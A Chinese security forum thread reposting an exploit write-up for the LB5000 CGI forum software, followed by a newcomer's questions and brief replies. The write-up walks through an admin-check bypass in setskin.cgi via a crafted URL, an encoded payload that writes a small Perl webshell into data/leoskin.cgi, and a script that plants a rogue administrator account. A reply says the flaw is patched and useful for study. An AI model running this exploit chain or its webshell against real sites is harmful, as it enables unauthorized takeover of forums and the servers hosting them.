论坛: 菜鸟乐园 标题: 请问! 复制本贴地址    
作者: alllony [alllony]    论坛用户   登录


PsKey<PsKey@hotmail.com> www.isgrey.com

>>>Dedicated This Scrap To CaoJing<<<

涉及版本:
LB5000XP所有版本,低于LB5000MX1.90(1.90已修复)所有版本

描述:
LB是一款由www.leoboard.com开发和维护的源代码开放的cgi论坛;由于setskin.cgi存在管理员验证可绕开漏洞,可能导致非法用户控制论坛或以web权限在系统上执行任意命令

具体:
LB论坛管理菜单中有个“管理区插件设定“的特殊功能,我们来看看它是如何对管理员进行验证的:
----------------------------------------------
62  $inmembername = cookie("adminname");
63  $inpassword   = cookie("adminpass");
...
68  &getmember("$inmembername");
69      
70    if (($membercode eq "ad") && ($inpassword eq $password) && (lc($inmembername) eq lc($membername))) {
...
----------------------------------------------
其中getmember()是提取用户资料的一个函数,如果$inmembername用户存在它将返回此用户的密码、等级等信息,但要是这个用户不存在呢?呵呵,这下可就坏了,我们还是先来看看getmember()函数的相关部分:
----------------------------------------------
sub getmember {
   my $nametocheck = shift;
   ...
   my $filetoopen = "$lbdir" . "$memdir/$nametocheck.cgi";
   ...
   if ((-e $filetoopen)&&($nametocheck !~ /^客人/)) {#如果用户存在就提取
   ...#省略大量提取用户信息的代码 
   }
   else { $userregistered = "no"; }#如果不存在,仅仅返回这个
}
----------------------------------------------
显然当我们直接请求setskin.cgi文件的时候$inmembername为空,也就是说&getmember("$inmembername")这行只会返回个$userregistered = "no";但setskin.cgi文件中$userregistered连影都没有,嘿嘿,问题出来了吧:&getmember("$inmembername")在setskin.cgi文件中“形同虚设“!!我们现在回过头看第70行的验证代码:
($inpassword eq $password)和(lc($inmembername) eq lc($membername))已经搞定了,因为它们都为空嘛;只有($membercode eq "ad")尚待搞定,要这是PHP程序你肯定会脱口而出我们直接指定“membercode=ad”啊!要命的是在这里你同样可以这样做,因为可爱的LB在setskin.cgi的开头有这么几行:
----------------------------------------------
@params = $query->param;
   foreach (@params) {
       $theparam = $query->param($_);
       $theparam =~ s/\@/\\\@/g;
       $theparam =~ s/\$/\\\$/g;
       $theparam = &unHTML("$theparam");
       ${$_} = $theparam;
----------------------------------------------
哈哈,爽吧,还等什么,直接提交如下URL进入: http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad
Yeah,成功!!
...恩,请小声点,并没有结束,相反,攻击才开始。
上面这个是次要的,我们做不了什么,但我们绕开了验证,接下来的代码才有味道呢!
----------------------------------------------
73  if ($action eq "process") {
74
75
76      $printme .= "1\;\n";
77
78      $filetomake = "$lbdir" . "data/leoskin.cgi";
79
80      open(FILE,">$filetomake");
81      flock(FILE,2) if ($OS_USED eq "Unix");
82      print FILE "$printme";
83      close(FILE);
----------------------------------------------
同样,这里的$printme也是我们手中控制的变量,可向data/leoskin.cgi覆盖式的写入东西,太好了,可写什么呢?要知道写这次会覆盖上一次写的,它可没耐心让你一行一行,而且,它还处理了一批有用字符:
----------------------------------------------
52      $theparam =~ s/\@/\\\@/g;
53      $theparam =~ s/\$/\\\$/g;
54    $theparam = &unHTML("$theparam");
...
sub unHTML {
   my $text = shift;
   $text =~ s/<!--(.|\n)*-->//g;
   $text =~ s/\&/\&/g;
   $text =~ s/<script>/\<script\>/ig;
   $text =~ s/"/\"/g;
   $text =~ s/  / \ /g;
   $text =~ s/</\</g;
   $text =~ s/>/\>/g;
   $text =~ s/[\a\f\e\0\r\t]//isg;
   $text =~ s/documents.cookie/documents\&\#46\;cookie/isg;
   return $text;
}
----------------------------------------------
My God,@&$”<>全军覆没,看来要动真格了,好,提交下面URL: http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad&action=process&printme=use%20CGI%20qw(:standard)%3bopen(SKY,param('a'))%3bprint%20SKY%20param('b')%3b
文件data/leoskin.cgi现在变成什么样了呢?
----------------------------------------------
use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');$printme = "use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');";
1;
----------------------------------------------
实质起作用的是:
----------------------------------------------
use CGI qw(:standard);
open(SKY,param('a'));
print SKY param('b');
----------------------------------------------
这个小webshell酷吧,它能做许多事哦,比如说: http://www.psych.com/perl/lb5000mx/cgi-bin/data/leoskin.cgi?a=>>E:/PsYch/PERL/LB5000MX/cgi-bin/data/hack.cgi&b=hahahaha
这样你就在E:/PsYch/PERL/LB5000MX/cgi-bin/data/目录下新写入了一个文件hack.cgi其内容为”hahahaha”;照同样的方法把下面这个文件一行一行(我没强迫你这样做,你可以写个小程序)写到对方web下一个目录:
----------------------------------------------
$lbpath="E:/PsYch/PERL/LB5000MX/cgi-bin/";####注意:此处请修改####
$ad="/hack.cgi";
opendir(DIR,"$lbpath");
@files=readdir(DIR);
close(DIR);
@memdir=grep(/^members/,@files);
$hack=$lbpath.@memdir[0].$ad;
open(HACK,">$hack");
print HACK "hack\thack\thack\tad\n";
----------------------------------------------
假使你把文件名定为 love.cgi,在/somepath目录下,提交 http://www.target.com/somepath/love.cgi
哦,一个hack/hack管理员诞生了!当然,上传个功能强使用方便的webshell上去也行,不过那是你自己的工作了! 
谁看的明白这个呀!!

我实在看不明白!

地主 发表时间: 04/12 15:26

回复: alllony [alllony]   论坛用户   登录
没有懂吗?

B1层 发表时间: 04/12 18:07

回复: bking [bking]   版主   登录
我晕了

B2层 发表时间: 04/12 18:38

回复: alllony [alllony]   论坛用户   登录
晕什么呀!唉!看来没高手来看!

B3层 发表时间: 04/12 18:43

回复: bking [bking]   版主   登录
呵呵

B4层 发表时间: 04/12 18:48

回复: sunshine [bysx]   论坛用户   登录
白痴!!!学perl去吧!!!

B5层 发表时间: 04/12 19:25

回复: alllony [alllony]   论坛用户   登录
白痴!!!学perl去吧!!!
什么意思呀!!不要骂人! 

B6层 发表时间: 04/12 19:28

回复: junjuntop [junjuntop]   论坛用户   登录
这是个LB5000的漏洞

不过没等这个漏洞广泛流传就已经打上补丁了

现在很多论坛都升级了

基本上利用的可能性,很小

拿来学习还可以



B7层 发表时间: 04/12 19:29

回复: junjuntop [junjuntop]   论坛用户   登录
这是个LB5000的漏洞

不过没等这个漏洞广泛流传就已经打上补丁了

现在很多论坛都升级了

基本上利用的可能性,很小

拿来学习还可以



B8层 发表时间: 04/12 19:30

回复: alllony [alllony]   论坛用户   登录
我知道呀!但我就是想学习一下!你能教我吗?

B9层 发表时间: 04/12 19:32

回复: junjuntop [junjuntop]   论坛用户   登录
恩?

文章里不是写的很清楚吗?

B10层 发表时间: 04/12 19:58

回复: alllony [alllony]   论坛用户   登录
但我还有一点看不懂呀!所以才请教你!

B11层 发表时间: 04/12 20:51

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号